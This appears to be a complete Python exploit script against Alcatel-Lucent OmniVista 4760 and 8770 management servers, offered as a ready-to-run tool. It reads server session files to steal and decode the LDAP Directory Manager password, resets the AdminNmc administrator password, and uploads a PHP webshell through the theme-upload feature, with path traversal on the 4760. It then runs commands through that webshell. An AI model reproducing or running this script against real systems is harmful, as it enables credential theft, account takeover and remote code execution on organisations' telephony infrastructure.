omnivista.py 5.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157
  1. import requests
  2. import socket
  3. import ldap
  4. import sys
  5. from urllib.parse import urlparse
  6. from urllib3.exceptions import InsecureRequestWarning
  7. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  8. class OmniVista:
  9. def __init__(self, host):
  10. self.host = host
  11. self.addr = (urlparse(self.host).hostname)
  12. self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
  13. self.filename = "poc.php"
  14. self.webshell = "<?php system($_REQUEST[0]) ?>"
  15. def identify(self):
  16. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  17. if '8770' in r.text:
  18. return 8770
  19. elif '4760' in r.text:
  20. return 4760
  21. else:
  22. return False
  23. def checkldap(self):
  24. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25. s.settimeout(10)
  26. result = s.connect_ex((self.addr, 389))
  27. if result == 0:
  28. return True
  29. def info(self):
  30. r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
  31. if 'PHP Version' in r.text:
  32. return r.text
  33. else:
  34. return False
  35. def getpassword(self):
  36. r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
  37. id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
  38. r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
  39. lenght = int(r.text.split("ldapSuPass")[1][3:5])
  40. password = r.text.split("ldapSuPass")[1][7:7+lenght]
  41. return password
  42. def decodepassword(self, password):
  43. counter = 0
  44. key = 16
  45. cleartext = ""
  46. if password[0:5] == "{NMC}":
  47. password = password[5:]
  48. else:
  49. return False
  50. for char in password:
  51. if 32 <= ord(char):
  52. char = chr(ord(char) ^ key)
  53. cleartext += char
  54. else:
  55. cleartext += char
  56. if ord(char) != 0:
  57. key = counter * ord(char) % 255 >> 3
  58. else:
  59. key = 16
  60. counter += 1
  61. return cleartext
  62. def connectldap(self):
  63. connect = ldap.initialize('ldap://' + self.addr)
  64. connect.set_option(ldap.OPT_REFERRALS, 0)
  65. connect.simple_bind_s(self.username, self.password)
  66. result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
  67. print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
  68. self.bind = connect
  69. return True
  70. def editadminpassword(self):
  71. self.adminusername = "AdminNmc"
  72. self.adminpassword = "Lsdcat_exploit1!"
  73. self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
  74. return True
  75. def login(self):
  76. self.session = requests.session()
  77. r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
  78. if 'Directory license is required!' in r.text:
  79. return False
  80. else:
  81. return True
  82. def exploit8770(self):
  83. r = self.session.post(self.host + 'php-bin/webclient.php',
  84. data = {"action": "saveTheme", "themeId": "2"},
  85. files = { "BgImg1": (self.filename, self.webshell, "image/png")},
  86. verify = False)
  87. if 'success' in r.text:
  88. return True
  89. def exec8770(self):
  90. return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
  91. def exploit4760(self):
  92. for folder in self.folders:
  93. r = requests.post(self.host + 'php-bin/webclient.php',
  94. data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
  95. files = { "BgImg1": (self.filename, self.webshell, "image/png")},
  96. verify=False)
  97. if 'success' in r.text:
  98. self.folder = folder
  99. return True
  100. def exec4760(self, cmd):
  101. return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
  102. def autoexploit(self):
  103. print('[*] Attempting to exploit on {}'.format(self.host))
  104. self.model = self.identify()
  105. if self.model == 4760:
  106. print('[*] Model is {}'.format(str(self.model)))
  107. self.exploit4760()
  108. print('[*] Upload folder is {}'.format(self.folder))
  109. output = self.exec4760("whoami")
  110. print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
  111. print('[*] Command output: '.format(output))
  112. elif self.model == 8770:
  113. print('[*] Model is {}'.format(str(self.model)))
  114. self.username = "cn=Directory Manager"
  115. self.password = self.decodepassword(self.getpassword())
  116. print('[*] {} password is "{}"'.format(self.username, self.password))
  117. if self.checkldap():
  118. print('[*] LDAP Service is accessible!')
  119. self.connectldap()
  120. print('[*] Changing AdminNmc password')
  121. self.editadminpassword()
  122. print('[*] Logging in')
  123. if self.login():
  124. self.exploit8770()
  125. output = self.exec8770("whoami")
  126. print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
  127. print('[*] Command output: '.format(output))
  128. else:
  129. print("[x] Directory license not installed :/")
  130. return False
  131. else:
  132. print("[x] LDAP Service is not directly accessible")
  133. return False
  134. else:
  135. print("[x] Target is not an OmniVista 4760/8770")
  136. return False
  137. if len(sys.argv) != 2:
  138. print("Usage: ./omnivista.py http(s)://target.tld")
  139. else:
  140. exploit = OmniVista(sys.argv[1])
  141. exploit.autoexploit()